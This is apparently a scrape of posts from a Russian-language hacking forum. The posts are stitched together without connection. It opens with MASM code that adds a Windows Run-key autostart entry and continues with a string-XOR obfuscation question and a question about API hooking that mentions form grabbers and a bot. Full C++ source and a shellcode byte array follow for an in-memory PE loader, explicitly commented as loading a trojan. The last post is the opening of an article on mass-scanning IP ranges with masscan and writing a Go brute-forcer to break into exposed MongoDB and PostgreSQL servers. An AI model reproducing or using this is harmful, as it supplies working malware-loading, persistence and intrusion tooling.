invoke RegCreateKey,HKEY_CURRENT_USER,chr$("Software\Microsoft\Windows\CurrentVersion\Run"),addr hReg
test eax,eax
jnz @err
invoke lstrlen,addr newPath
mov ebx,eax
inc ebx;длина с учетом нуллбайта
invoke RegSetValueEx,hReg,chr$("FileProtect"),0,REG_SZ,addr newPath,ebx
test eax,eax
jnz @err
invoke RegCloseKey,hReg
jmp @ret
@err:
fn MessageBox,0,LastError$(),"Last Error Text",MB_OK
@ret:
ret
autoload endp
end main
Что за черт,почему постоянно не получается сделать как надо. Уже перечитал все мануалы, погуглил - и толку 0. :bang:
Имеем такой код на fasm:
Spoiler: 10
Code:Copy to clipboard
format PE GUI on 'nul'
entry start_program
section '.TEST' code import writeable readable executable
include 'win32ax.inc'
; макрос XOR'а строк
macro crypt start, length, key
{
local x, y, key_size, key_pos
virtual at 0
db key
key_size = $
end virtual
key_pos = 0
repeat length
load x from start + % - 1
virtual at 0
db key
load y from key_pos
end virtual
x = x xor y
store x at start + % - 1
key_pos = key_pos + 1
if key_pos >= key_size
key_pos = 0
end if
end repeat
}
; импорт
library kernel_lib, 'kernel32.dll',\
user_lib, 'user32.dll'
import kernel_lib,\
exit_func, 'ExitProcess'
import user_lib,\
mess_func, 'MessageBoxA'
; точка входа в программу
start_program:
; декрипт строк
call decrypt_code
; выполнение кода
call start_code
; код для декрипта строк
decrypt_code:
mov edi, xoring_start
mov ecx, xoring_end - xoring_start
@@:
xor byte[edi],8
inc edi
dec ecx
test ecx,ecx
jnz @b; @b - прерывание цикла
ret
; строки которые мы ксорим
xoring_start:
text db 'Текст', NULL
zagol db 'Заголовок', NULL
ret
xoring_end:
start_code:
; показываем сообщение
invoke mess_func, NULL, text, zagol, MB_OK + MB_ICONEXCLAMATION
; выходим
invoke exit_func, NULL
; выполняем макрос с ключом XOR'а 8
crypt xoring_start, xoring_end - xoring_start, 8
Метка "код для декрипта строк ", имеет команду:
Code:Copy to clipboard
test ecx,ecx
Насколько мне известно, также существует аналог:
Code:Copy to clipboard
cmp ecx,ecx
Собственно разницу видно на скриншотах. Почему так?
В сети нашел следующее:
Команды вида test reg,reg используется для сравнения значения регистра с нулем, т.е. после этой операции либо устанавливается либо сбрасывается флаг нуля (а также флаг знака и флаг четности). Почему не cmp reg,0? Потому что в скомпилированном виде test reg,reg на целый байт короче , ну и по скорости наверное разница есть
test эквивалентен битовому and, за исключением того, что не модифицируются операнды, а только флаги. Обычно это нужно, чтобы узнать, установлены ли определенные биты в регистре.
P.S. а cmp эквивалентен обыкновенному вычитанию, но аналогично не модифицирует операнды, а модифицирует флаги.
Click to expand...
Наверное из-за того что короче, да..?
В общем охота услышать мнение знатоков (=
С зимы понемногу разбираюсь с перехватом апи. Есть код, который перехватывает мессадбокс в блокноте (вызвать его можно при поиске). На ХР все работает отлично. На висте - сначала блокировал DEP, но по совету Apocalypse , перекомпилировал с другими флагами для секций кода, импорта - заработало. На семерке же ни в какую, при запуске прога вылетает с ошибкой. Т.е. прога тупо запускается и ошибка
Сигнатура проблемы:
Имя события проблемы: APPCRASH
Имя модуля с ошибкой: ntdll.dll
Отметка времени модуля с ошибкой: 4ba9b21e
Код исключения: c0000005Click to expand...
эта ошибка - это опять же, ACCESS_DENIED (код).
Немного погуглив, я понял, что проблема в токенах - т.е. делать write|read
process memory чужого процесса в спермерке может лишь админ. Выходит, что бот
должен быть запущен только под админом. Но как же работают формграбберы все
эти, не пойму. Ведь не все сидят под админами.
В общем, алгоритм такой - я запускаю блокнот (на рабочем столе), от того же юзера на рабочем столе мой ехе - перехват. Он сразу вылетает с ошибкой которая выше. Если на моем ехе нажать правой кнопкой - запустить от админа, то все отрабатывает гуд.
В процесс эксплорере одинаковый уровень интегрити у блокнота и моей проги.
Вопрос - что я делаю не так и как это решить без манифестов? Почему оно
вылетает именно на 7? Или никак не решить, ибо все таки нереально читать и
писать в память чужого процесса? Кодес вот http://pastebin.com/LV0yCDHn
Spoiler: 100
При написании использовалась статья http://wasm.ru/article.php?article=memfile и сорц загрузчика покойного Great. Загрузчик Грейта располагает PE-образ в рандомном месте памяти и правит релоки. Редко какие проги работают после такого.
Поэтому был написан следующий код, который располагает PE-образ по нужному ImageBase, правит импорт, PEB, TLS, и передаёт управление на точку входа. Функция загрузчика специально сделана базонезависимой, чтобы её расположить подальше в памяти и передать туда управление, чтобы можно было спокойно работать с адресами возле стандартных ImageBase.
1) Высиратель кода функции лоадера высирает код функции в файл loader.bin:
Code:Copy to clipboard
// PELoader.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <windows.h>
#include <winnt.h>
#include <stdio.h>
///////////////////////////////////
#define k_LoadLibrary (*(HMODULE(WINAPI *)(LPSTR)) ptrLoadLibrary)
#define k_GetProcAddress (*(DWORD(WINAPI *)(HMODULE,LPSTR)) ptrGetProcAddress)
#define k_UnmapViewOfFile (*(DWORD(WINAPI *)( PVOID )) ptrUnmapViewOfFile)
#define k_VirtualFree (*(DWORD(WINAPI *)( PVOID, int, int )) ptrVirtualFree)
#define k_VirtualAlloc (*(DWORD(WINAPI *)( PVOID, int, int, int )) ptrVirtualAlloc)
#define k_memset (*(VOID(WINAPI *)( void *, int, size_t )) ptrMemset)
#define k_memcpy (*(VOID*(WINAPI *)( void *, const void *, size_t )) ptrMemcpy)
#define RVATOVA( offset ) ( ( ( DWORD ) ( buf_IMAGE_OPTIONAL_HEADER -> ImageBase ) + ( DWORD ) ( offset ) ) )
typedef struct _PEB {
DWORD smth[2];
PVOID ImageBaseAddress;
} PEB, *PPEB;
typedef struct _TEB {
DWORD smth[12];
PPEB Peb;
} TEB, *PTEB;
/////////////////////////////////////////////////////////////////////////////////////
// Функция загрузки троя
void loader( PBYTE buf, int bufLen, DWORD ptrUnmapViewOfFile, DWORD ptrVirtualFree, DWORD ptrVirtualAlloc, DWORD ptrLoadLibrary, DWORD ptrGetProcAddress, DWORD ptrMemset, DWORD ptrMemcpy )
{
/////////////////////////////////////////////////////////////////////////////////////
// Получаем PE-заголовок троя
IMAGE_NT_HEADERS *buf_IMAGE_NT_HEADERS = ( IMAGE_NT_HEADERS * ) ( buf + (( IMAGE_DOS_HEADER * ) buf ) -> e_lfanew );
PIMAGE_FILE_HEADER buf_IMAGE_FILE_HEADER = ( PIMAGE_FILE_HEADER ) ( ( PBYTE ) buf_IMAGE_NT_HEADERS + sizeof( IMAGE_NT_SIGNATURE ) );
PIMAGE_OPTIONAL_HEADER buf_IMAGE_OPTIONAL_HEADER = ( PIMAGE_OPTIONAL_HEADER ) ( ( PBYTE ) buf_IMAGE_FILE_HEADER + sizeof( IMAGE_FILE_HEADER ) );
PIMAGE_SECTION_HEADER buf_IMAGE_SECTION_HEADER = ( PIMAGE_SECTION_HEADER ) ( ( PBYTE ) buf_IMAGE_OPTIONAL_HEADER + sizeof( IMAGE_OPTIONAL_HEADER ) );
/////////////////////////////////////////////////////////////////////////////////////
// Разрешаем запись в память по адресу ImageBase
DWORD pageSize = 0x00010000; // размер страницы 64Кб
for ( DWORD pageAddr = 0; pageAddr < buf_IMAGE_OPTIONAL_HEADER -> SizeOfImage; pageAddr = pageAddr + pageSize )
{
k_UnmapViewOfFile( ( LPVOID ) RVATOVA( pageAddr ) );
k_VirtualFree( ( LPVOID ) RVATOVA( pageAddr ), 0, MEM_RELEASE );
k_VirtualAlloc( ( LPVOID ) RVATOVA( pageAddr ), pageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE );
k_memset( ( LPVOID ) RVATOVA( pageAddr ), 0, pageSize );
}
/////////////////////////////////////////////////////////////////////////////////////
// Размещаем PE-заголовок троя
k_memcpy( (PVOID) buf_IMAGE_OPTIONAL_HEADER -> ImageBase, buf, buf_IMAGE_OPTIONAL_HEADER -> SizeOfHeaders );
/////////////////////////////////////////////////////////////////////////////////////
// Размещаем секции троя
for ( DWORD k = 0; k < buf_IMAGE_FILE_HEADER -> NumberOfSections; k++, buf_IMAGE_SECTION_HEADER++ )
k_memcpy( (PVOID) RVATOVA( buf_IMAGE_SECTION_HEADER -> VirtualAddress ),
buf + buf_IMAGE_SECTION_HEADER -> PointerToRawData,
min ( buf_IMAGE_SECTION_HEADER -> Misc.VirtualSize, buf_IMAGE_SECTION_HEADER -> SizeOfRawData ) );
/////////////////////////////////////////////////////////////////////////////////////
// Освобождаем буфер троя
k_VirtualFree( buf, bufLen, MEM_RELEASE );
/////////////////////////////////////////////////////////////////////////////////////
// Правим импорт
IMAGE_IMPORT_DESCRIPTOR *importDesc = ( PIMAGE_IMPORT_DESCRIPTOR ) RVATOVA( buf_IMAGE_OPTIONAL_HEADER -> DataDirectory[1].VirtualAddress );
for(; importDesc->Characteristics; importDesc++ )
{
HMODULE hDll = k_LoadLibrary( ( LPTSTR ) RVATOVA( importDesc->Name ) );
DWORD RvaOfThunks = importDesc->FirstThunk;
if( importDesc->TimeDateStamp == -1 )
{
PDWORD Func;
PIMAGE_THUNK_DATA OriginalThunk = ( PIMAGE_THUNK_DATA ) RVATOVA( importDesc->OriginalFirstThunk );
PIMAGE_THUNK_DATA Thunk = ( PIMAGE_THUNK_DATA ) RVATOVA( importDesc->FirstThunk );
if( OriginalThunk->u1.Ordinal & 0xf0000000 )
{
OriginalThunk->u1.Ordinal &= 0xffff;
Func = ( PDWORD ) k_GetProcAddress( hDll, ( char* ) OriginalThunk->u1.Ordinal );
}
else
{
PIMAGE_IMPORT_BY_NAME Name = ( PIMAGE_IMPORT_BY_NAME ) RVATOVA( OriginalThunk->u1.AddressOfData );
Func = ( PDWORD ) k_GetProcAddress( hDll, ( char* ) Name->Name );
}
if( Thunk->u1.Function == Func )
{
continue;
}
else
{
RvaOfThunks = importDesc -> OriginalFirstThunk;
}
}
for( PIMAGE_THUNK_DATA Thunk = ( PIMAGE_THUNK_DATA ) RVATOVA( RvaOfThunks ); Thunk->u1.Ordinal; Thunk++ )
{
if( Thunk->u1.Ordinal & 0xf0000000 )
{
Thunk->u1.Ordinal &= 0xffff;
Thunk->u1.Function = ( PDWORD ) k_GetProcAddress( hDll, ( char* ) Thunk -> u1.Ordinal );
}
else
{
PIMAGE_IMPORT_BY_NAME Name = ( PIMAGE_IMPORT_BY_NAME ) RVATOVA( Thunk->u1.AddressOfData );
Thunk->u1.Function = ( PDWORD ) k_GetProcAddress( hDll, ( char* ) Name->Name );
}
PIMAGE_THUNK_DATA ThunkToWrite;
ThunkToWrite = ( PIMAGE_THUNK_DATA )( ( DWORD ) RVATOVA( importDesc->FirstThunk ) + ( ( DWORD ) Thunk - ( DWORD ) RVATOVA ( RvaOfThunks ) ) );
ThunkToWrite->u1.Function = Thunk->u1.Function;
}
}
/////////////////////////////////////////////////////////////////////////////////////
// Правим PEB для работы с ресурсами
TEB* teb;
__asm
{
mov eax, dword ptr fs:[18h]
mov teb, eax
}
PPEB peb = teb->Peb;
peb->ImageBaseAddress = (PVOID) buf_IMAGE_OPTIONAL_HEADER -> ImageBase;
/////////////////////////////////////////////////////////////////////////////////////
// TLS
DWORD addrTLS = RVATOVA( buf_IMAGE_OPTIONAL_HEADER -> DataDirectory[9].VirtualAddress );
_asm
{
mov eax, addrTLS
mov dword ptr fs:[2Ch], eax
}
/////////////////////////////////////////////////////////////////////////////////////
// Прыгаем на точку входа троя
DWORD EntryPoint = RVATOVA( buf_IMAGE_OPTIONAL_HEADER->AddressOfEntryPoint );
_asm jmp EntryPoint
}
void marker_loader( )
{
}
int main(int argc, char* argv[])
{
DWORD loaderLength =( DWORD ) ( (BYTE*) marker_loader - (BYTE*) loader );
FILE *f = fopen( "loader.bin", "wb" );
fwrite( loader, loaderLength, 1, f );
fclose( f );
return 0;
}
**2) > ArrGenTool.exe loader.bin loader.h Loader **
создаёт loader.h :
Code:Copy to clipboard
unsigned char Loader[] = {
0x55,0x8B,0xEC,0x83,0xEC,0x58,0x53,0x56,0x57,0x8B,0x45,0x08,0x8B,0x4D,0x08,0x03,0x48,0x3C,0x89,0x4D,
0xFC,0x8B,0x55,0xFC,0x83,0xC2,0x04,0x89,0x55,0xE8,0x8B,0x45,0xE8,0x83,0xC0,0x14,0x89,0x45,0xD0,0x8B,
0x4D,0xD0,0x81,0xC1,0xE0,0x00,0x00,0x00,0x89,0x4D,0xDC,0xC7,0x45,0xE0,0x00,0x00,0x01,0x00,0xC7,0x45,
0xF4,0x00,0x00,0x00,0x00,0xEB,0x09,0x8B,0x55,0xF4,0x03,0x55,0xE0,0x89,0x55,0xF4,0x8B,0x45,0xD0,0x8B,
0x4D,0xF4,0x3B,0x48,0x38,0x73,0x4E,0x8B,0x55,0xD0,0x8B,0x42,0x1C,0x03,0x45,0xF4,0x50,0xFF,0x55,0x10,
0x68,0x00,0x80,0x00,0x00,0x6A,0x00,0x8B,0x4D,0xD0,0x8B,0x51,0x1C,0x03,0x55,0xF4,0x52,0xFF,0x55,0x14,
0x6A,0x40,0x68,0x00,0x30,0x00,0x00,0x8B,0x45,0xE0,0x50,0x8B,0x4D,0xD0,0x8B,0x51,0x1C,0x03,0x55,0xF4,
0x52,0xFF,0x55,0x18,0x8B,0x45,0xE0,0x50,0x6A,0x00,0x8B,0x4D,0xD0,0x8B,0x51,0x1C,0x03,0x55,0xF4,0x52,
0xFF,0x55,0x24,0xEB,0x9E,0x8B,0x45,0xD0,0x8B,0x48,0x3C,0x51,0x8B,0x55,0x08,0x52,0x8B,0x45,0xD0,0x8B,
0x48,0x1C,0x51,0xFF,0x55,0x28,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0xEB,0x12,0x8B,0x55,0xD4,0x83,0xC2,
0x01,0x89,0x55,0xD4,0x8B,0x45,0xDC,0x83,0xC0,0x28,0x89,0x45,0xDC,0x8B,0x4D,0xE8,0x33,0xD2,0x66,0x8B,
0x51,0x02,0x39,0x55,0xD4,0x73,0x42,0x8B,0x45,0xDC,0x8B,0x4D,0xDC,0x8B,0x50,0x08,0x3B,0x51,0x10,0x73,
0x0B,0x8B,0x45,0xDC,0x8B,0x48,0x08,0x89,0x4D,0xA8,0xEB,0x09,0x8B,0x55,0xDC,0x8B,0x42,0x10,0x89,0x45,
0xA8,0x8B,0x4D,0xA8,0x51,0x8B,0x55,0xDC,0x8B,0x45,0x08,0x03,0x42,0x14,0x50,0x8B,0x4D,0xD0,0x8B,0x51,
0x1C,0x8B,0x45,0xDC,0x03,0x50,0x0C,0x52,0xFF,0x55,0x28,0xEB,0x9E,0x68,0x00,0x80,0x00,0x00,0x8B,0x4D,
0x0C,0x51,0x8B,0x55,0x08,0x52,0xFF,0x55,0x14,0x8B,0x45,0xD0,0x8B,0x48,0x1C,0x8B,0x55,0xD0,0x03,0x4A,
0x68,0x89,0x4D,0xF8,0xEB,0x09,0x8B,0x45,0xF8,0x83,0xC0,0x14,0x89,0x45,0xF8,0x8B,0x4D,0xF8,0x83,0x39,
0x00,0x0F,0x84,0x55,0x01,0x00,0x00,0x8B,0x55,0xD0,0x8B,0x42,0x1C,0x8B,0x4D,0xF8,0x03,0x41,0x0C,0x50,
0xFF,0x55,0x1C,0x89,0x45,0xC8,0x8B,0x55,0xF8,0x8B,0x42,0x10,0x89,0x45,0xC4,0x8B,0x4D,0xF8,0x83,0x79,
0x04,0xFF,0x0F,0x85,0x83,0x00,0x00,0x00,0x8B,0x55,0xD0,0x8B,0x42,0x1C,0x8B,0x4D,0xF8,0x03,0x01,0x89,
0x45,0xBC,0x8B,0x55,0xD0,0x8B,0x42,0x1C,0x8B,0x4D,0xF8,0x03,0x41,0x10,0x89,0x45,0xC0,0x8B,0x55,0xBC,
0x8B,0x02,0x25,0x00,0x00,0x00,0xF0,0x85,0xC0,0x74,0x22,0x8B,0x4D,0xBC,0x8B,0x11,0x81,0xE2,0xFF,0xFF,
0x00,0x00,0x8B,0x45,0xBC,0x89,0x10,0x8B,0x4D,0xBC,0x8B,0x11,0x52,0x8B,0x45,0xC8,0x50,0xFF,0x55,0x20,
0x89,0x45,0xB8,0xEB,0x1F,0x8B,0x4D,0xD0,0x8B,0x51,0x1C,0x8B,0x45,0xBC,0x03,0x10,0x89,0x55,0xB4,0x8B,
0x4D,0xB4,0x83,0xC1,0x02,0x51,0x8B,0x55,0xC8,0x52,0xFF,0x55,0x20,0x89,0x45,0xB8,0x8B,0x45,0xC0,0x8B,
0x08,0x3B,0x4D,0xB8,0x75,0x05,0xE9,0x47,0xFF,0xFF,0xFF,0x8B,0x55,0xF8,0x8B,0x02,0x89,0x45,0xC4,0x8B,
0x4D,0xD0,0x8B,0x51,0x1C,0x03,0x55,0xC4,0x89,0x55,0xCC,0xEB,0x09,0x8B,0x45,0xCC,0x83,0xC0,0x04,0x89,
0x45,0xCC,0x8B,0x4D,0xCC,0x83,0x39,0x00,0x0F,0x84,0x81,0x00,0x00,0x00,0x8B,0x55,0xCC,0x8B,0x02,0x25,
0x00,0x00,0x00,0xF0,0x85,0xC0,0x74,0x24,0x8B,0x4D,0xCC,0x8B,0x11,0x81,0xE2,0xFF,0xFF,0x00,0x00,0x8B,
0x45,0xCC,0x89,0x10,0x8B,0x4D,0xCC,0x8B,0x11,0x52,0x8B,0x45,0xC8,0x50,0xFF,0x55,0x20,0x8B,0x4D,0xCC,
0x89,0x01,0xEB,0x21,0x8B,0x55,0xD0,0x8B,0x42,0x1C,0x8B,0x4D,0xCC,0x03,0x01,0x89,0x45,0xAC,0x8B,0x55,
0xAC,0x83,0xC2,0x02,0x52,0x8B,0x45,0xC8,0x50,0xFF,0x55,0x20,0x8B,0x4D,0xCC,0x89,0x01,0x8B,0x55,0xD0,
0x8B,0x42,0x1C,0x8B,0x4D,0xF8,0x03,0x41,0x10,0x8B,0x55,0xD0,0x8B,0x4A,0x1C,0x03,0x4D,0xC4,0x8B,0x55,
0xCC,0x2B,0xD1,0x03,0xC2,0x89,0x45,0xB0,0x8B,0x45,0xB0,0x8B,0x4D,0xCC,0x8B,0x11,0x89,0x10,0xE9,0x6A,
0xFF,0xFF,0xFF,0xE9,0x96,0xFE,0xFF,0xFF,0x64,0xA1,0x18,0x00,0x00,0x00,0x89,0x45,0xE4,0x8B,0x45,0xE4,
0x8B,0x48,0x30,0x89,0x4D,0xEC,0x8B,0x55,0xEC,0x8B,0x45,0xD0,0x8B,0x48,0x1C,0x89,0x4A,0x08,0x8B,0x55,
0xD0,0x8B,0x42,0x1C,0x8B,0x4D,0xD0,0x03,0x81,0xA8,0x00,0x00,0x00,0x89,0x45,0xD8,0x8B,0x45,0xD8,0x64,
0xA3,0x2C,0x00,0x00,0x00,0x8B,0x55,0xD0,0x8B,0x42,0x1C,0x8B,0x4D,0xD0,0x03,0x41,0x10,0x89,0x45,0xF0,
0xFF,0x65,0xF0 };
3) Вызов функции
Code:Copy to clipboard
#include "pe_data.h"
#include "loader.h"
...
void main()
{
... получаем адреса API
/////////////////////////////////////////////////////////////////////////////////////
// Перемещаем подальше код загрузчика
DWORD loaderLength = sizeof( Loader );
DWORD loaderCopy = k_VirtualAlloc( NULL, loaderLength, MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE );
memcpy( (void *) loaderCopy, Loader, loaderLength );
/////////////////////////////////////////////////////////////////////////////////////
// Перемещаем подальше буфер с троем
DWORD szPEData = sizeof( PEData );
PBYTE PEDataCopy = (PBYTE) k_VirtualAlloc( NULL, szPEData, MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE );
memcpy( PEDataCopy, PEData, szPEData );
/////////////////////////////////////////////////////////////////////////////////////
// Передаём управление копии загрузчика
( (void(*)( PBYTE, int, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD )) loaderCopy )( PEDataCopy, szPEData, ptrUnmapViewOfFile, ptrVirtualFree, ptrVirtualAlloc, ptrLoadLibrary, ptrGetProcAddress, ptrMemset, ptrMemcpy );
}
Или у меня уже глюки, или как всегда, какая-то особенность винапи. Есть код
Code:Copy to clipboard
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\macros\macros.asm
uselib kernel32,user32
.data
systime SYSTEMTIME <?>
buf db 64 dup (0)
buf2 db "some debug log",0
.code
start:
invoke GetSystemTime,addr systime
invoke wsprintf,addr buf,chr$("year is %hd"),systime.wYear
invoke OutputDebugString,offset buf2
exit;
end start
OutputDebugString падает неясно почему. Если закоментировать wsprintf, или хотя бы передавать туда не systime.wYear, а число вида 2000, то все гуд. В чем может быть проблема?
upd. Разобрался. Проблема как всегда была весьма тупая. SYSTEMTIME .wYear это WORD, т.е. занимает два байта, а масм после wsprintf выравнивает стек на 12 (3 параметра по DWORD), в итоге два байта лишние и все рушится. Если сделать так
Code:Copy to clipboard
movzx ebx,systime.wYear
invoke wsprintf,addr buf,chr$("year is %d"),ebx
То все норм. Тему не удаляю, мб еще кому пригодится (или решение не окончательное).
_Автор:miserylord
Эксклюзивно для форума:
_xss.is
Добро пожаловать, искатели виртуальных горизонтов! На связи miserylord!
В этой статье вы узнаете, как найти систему управления базами данных (СУБД) в глобальной сети на примере самых популярных решений — PostgreSQL и MongoDB. А также, как написать программу для брутфорса на языке Golang для получения доступа, чтобы в конечном итоге выгрузить дамп базы данных, применяя немного другой подход по сравнению с классическими инъекциями.
Эта статья вдохновлена одним руководством (в двух томах), и мне захотелось освоить некоторые техники из него, слегка изменив вектор.
Исходный код программы прикреплен к этому сообщению. Не используйте с дурными намерениями.
Разделы
Spoiler: Найдется всё
Сеть
No matter where you go, everybody 's connected
Довольно очевидно, но Интернет — это сеть, в которой все машины связаны, буквально соединены между собой. Следовательно, можно попытаться получить доступ к любому устройству, используя его уникальный идентификатор — IP-адрес.
В сети орудуют роботы — пауки-сканеры, которые отправляют запросы на все адреса в надежде узнать больше о службах и сервисах, запущенных на устройствах. Они работают в интересах различных поисковых систем, спецслужб, дата-майнеров и других заинтересованных сторон. Сервисы вроде Shodan могут казаться магией на первый взгляд, но на самом деле они просто представляют результаты работы сканеров в удобных интерфейсах.
Адреса
Изначальный формат IP-адресов — это IPv4, но в какой-то момент стало понятно, что адресов не хватит на всех, и был введён новый протокол — IPv6.
Если быть конкретным, IPv4-адреса имеют длину 32 бита, что означает, что общее количество возможных IPv4-адресов можно рассчитать как 2^32, то есть 4,294,967,296 адресов. IPv6-адреса же имеют длину 128 бит, что означает, что общее количество возможных IPv6-адресов можно рассчитать как 2^128. Это число огромно, и его сложно осознать: 2^128 = 340 триллионов триллионов триллионов.
Несмотря на то что прощаются с IPv4 вот уже два десятилетия, он всё ещё остаётся основным в сети Интернет, и именно его я буду использовать в статье.
Первым делом необходимо узнать диапазоны адресов для конкретной страны.
Для управления и распределения IP-адресов по странам и регионам используются региональные интернет-регистраторы (RIR), которые делят мир на пять основных регионов:
RIPE NCC — это организация, занимающаяся управлением и распределением интернет-ресурсов. Воспользуемся их API для получения диапазонов адресов для стран. Напишем код на Golang.
C-like:Copy to clipboard
package main
import (
"encoding/json"
"fmt"
"net/http"
"os"
)
// 1
type RIPEStatResponse struct {
Data struct {
Resources struct {
IPv4 []string `json:"ipv4"`
IPv6 []string `json:"ipv6"`
} `json:"resources"`
} `json:"data"`
}
// 2
func getIPRanges(countryCode string) ([]string, error) {
url := fmt.Sprintf("https://stat.ripe.net/data/country-resource-list/data.json?resource=%s", countryCode)
resp, err := http.Get(url)
if err != nil {
return nil, err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return nil, fmt.Errorf("error: status code %d", resp.StatusCode)
}
var result RIPEStatResponse
if err := json.NewDecoder(resp.Body).Decode(&result); err != nil {
return nil, err
}
return result.Data.Resources.IPv4, nil
}
// 3
func saveIPRangesToFile(ipRanges []string, filename string) error {
file, err := os.Create(filename)
if err != nil {
return err
}
defer file.Close()
for _, ipRange := range ipRanges {
_, err := file.WriteString(ipRange + "\n")
if err != nil {
return err
}
}
return nil
}
// 4
func main() {
countryCode := "NA"
ipRanges, err := getIPRanges(countryCode)
if err != nil {
fmt.Println("Error:", err)
return
}
filename := fmt.Sprintf("%s_ip_ranges.txt", countryCode)
if err := saveIPRangesToFile(ipRanges, filename); err != nil {
fmt.Println("Error saving to file:", err)
return
}
fmt.Printf("IPv4 ranges for country code %s saved to %s\n", countryCode, filename)
}
masscan
Если IP-адрес — это панелька, то порт — это квартира.
Стандартный порт MongoDB — 27017, а стандартный порт PostgreSQL — 5432. Эти службы можно запустить на любом доступном порту сервера, как и любой другой процесс на любом порту. Однако, как правило, используются стандартные порты. В случае массовой атаки, где на первый план выходят скорость и количество, можно пренебречь проверкой альтернативных портов.
Для работы воспользуемся утилитой masscan. Основная задача masscan — сканирование диапазонов IP-адресов для поиска открытых портов. Программа работает с умопомрачительной скоростью благодаря грамотной оптимизации и позволяет сканировать миллионы IP-адресов за считанные минуты. Кроме того, она способна работать с огромными сетями (например, можно просканировать всю сеть IPv4-адресов, весь Интернет).
Важно отметить, что Masscan не определяет запущенные службы, а лишь сканирует открытые порты.
Запускаем программу командой:
masscan -p27017 41.223.80.0/22 --rate 1000 -oG output.txt
Далее, с помощью регулярного выражения оставляем только IP-адреса, сохраняя их в файл ip_only.txt, с помощью команды:
grep -oP '\b\d{1,3}(\.\d{1,3}){3}\b' output.txt > ip_only.txt
Автоматизируем этот процесс, используя скрипт на Go.
C-like:Copy to clipboard
package main
import (
"bufio"
"fmt"
"os"
"os/exec"
)
func main() {
// 1
file, err := os.Open("NA_ip_ranges.txt")
if err != nil {
fmt.Println("Ошибка при открытии файла:", err)
return
}
defer file.Close()
// 2
outputFile, err := os.Create("output.txt")
if err != nil {
fmt.Println("Ошибка при создании файла для вывода:", err)
return
}
defer outputFile.Close()
// 3
writer := bufio.NewWriter(outputFile)
// 4
scanner := bufio.NewScanner(file)
for scanner.Scan() {
ipRange := scanner.Text()
// 5
cmd := exec.Command("masscan", "-p27017", ipRange, "--rate", "1000", "-oG", "output.txt")
// 6
cmd.Stdout = writer
cmd.Stderr = writer
// 7
if err := cmd.Run(); err != nil {
fmt.Printf("Ошибка при выполнении команды для диапазона %s: %v\n", ipRange, err)
} else {
fmt.Printf("Команда успешно выполнена для диапазона %s\n", ipRange)
}
// 8
writer.Flush()
}
if err := scanner.Err(); err != nil {
fmt.Println("Ошибка при чтении файла:", err)
return
}
// 9
grepCmd := exec.Command("grep", "-oP", "\\b\\d{1,3}(\\.\\d{1,3}){3}\\b", "output.txt")
ipOnlyFile, err := os.Create("ip_only.txt")
if err != nil {
fmt.Println("Ошибка при создании файла для IP-адресов:", err)
return
}
defer ipOnlyFile.Close()
// 10
grepCmd.Stdout = ipOnlyFile
grepCmd.Stderr = os.Stderr
// 11
if err := grepCmd.Run(); err != nil {
fmt.Printf("Ошибка при выполнении команды grep: %v\n", err)
} else {
fmt.Println("Команда grep успешно выполнена, IP-адреса сохранены в ip_only.txt")
}
}
Как альтернативу можно использовать Shodan, чтобы получить только те адреса, на которых запущена MongoDB.
Дополнительно можно использовать Nmap. Nmap — это мощный инструмент для сканирования (хотя он уступает masscan по скорости). Команда:
nmap -p 27017 -iL ip_only.txt -oN results.txt
В результате в логе мы увидим, что все порты открыты, и на всех запущена
MongoDB. Однако это может быть не совсем верным результатом, так как Nmap
может дать ложные положительные результаты, пытаясь угадать. Для более точного
определения можно добавить флаг -sV
(или -sC
), тогда Nmap попытается
определить, какая именно программа работает на порту и её версию. Однако это
может занять часы или даже дни для больших сетей.
Nmap имеет множество функций, возможно, вы найдете полезные комбинации, которые ускорят процесс, но я не включал Nmap в итоговый проект. [Nmap Cheat Sheet 2024: All the Commands & Flags](https://www.stationx.net/nmap-cheat- sheet/)
Переходим к написанию брутфорса.
Spoiler: Брутфорсим всё
MongoDB
MongoDB — это популярная NoSQL база данных, которая использует документы вместо традиционных таблиц и строк, как в реляционных базах данных. База данных в MongoDB — это просто контейнер для коллекций. Каждая база данных является независимой и может содержать несколько коллекций. Внутри базы данных хранятся коллекции, которые содержат документы. Коллекция в MongoDB — это аналог таблицы в реляционных базах данных. Она представляет собой группу документов, которые могут иметь разную структуру. В отличие от реляционных таблиц, в коллекции могут храниться документы с различными полями и типами данных. Документ в MongoDB — это основной элемент хранения данных. Он представляет собой объект, закодированный в формате BSON (Binary JSON). Это как JSON, только с дополнительными типами данных и возможностями для более эффективного хранения.
Для тестирования можно развернуть MongoDB на VPS (отличная инструкция по установке на Ubuntu 22 - [ссылка](https://www.cherryservers.com/blog/install- mongodb-ubuntu-22-04) или в Docker-контейнере - образ.
По умолчанию MongoDB не требует установки данных для аутентификации и авторизации при первом запуске. Это значит, что любой пользователь, имеющий доступ к серверу MongoDB, может подключаться и работать с данными. Также MongoDB имеет настройку ограничения IP-адресов, которые могут подключаться к ней, и можно подключиться только к базе, в конфигурации которой указан 0.0.0.0 (или ваш IP-адрес).
Для работы с MongoDB в Go используется драйвер mongo-go-driver. Он предоставляет все необходимые инструменты для взаимодействия с MongoDB и работы с данными.
Инициализируем проект и приступаем к написанию кода программы. В первую очередь создадим файл utils.go в папке utils в корневой директории проекта.
C-like:Copy to clipboard
package utils
import (
"io/ioutil"
"log"
"os"
"strings"
"sync"
)
var fileMutex sync.Mutex // 1
func ReadLines(path string) ([]string, error) { // 2
data, err := ioutil.ReadFile(path)
if err != nil {
return nil, err
}
return strings.Split(strings.ReplaceAll(strings.TrimSpace(string(data)), "\r", ""), "\n"), nil
}
func WriteGoodToFile(ip, cred string) { // 3
fileMutex.Lock()
defer fileMutex.Unlock()
file, err := os.OpenFile("files/goods.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
log.Fatal(err)
}
defer file.Close()
if _, err := file.WriteString(ip + " " + cred + "\n"); err != nil {
log.Fatalf("Ошибка во время записи в файл", err.Error())
}
}
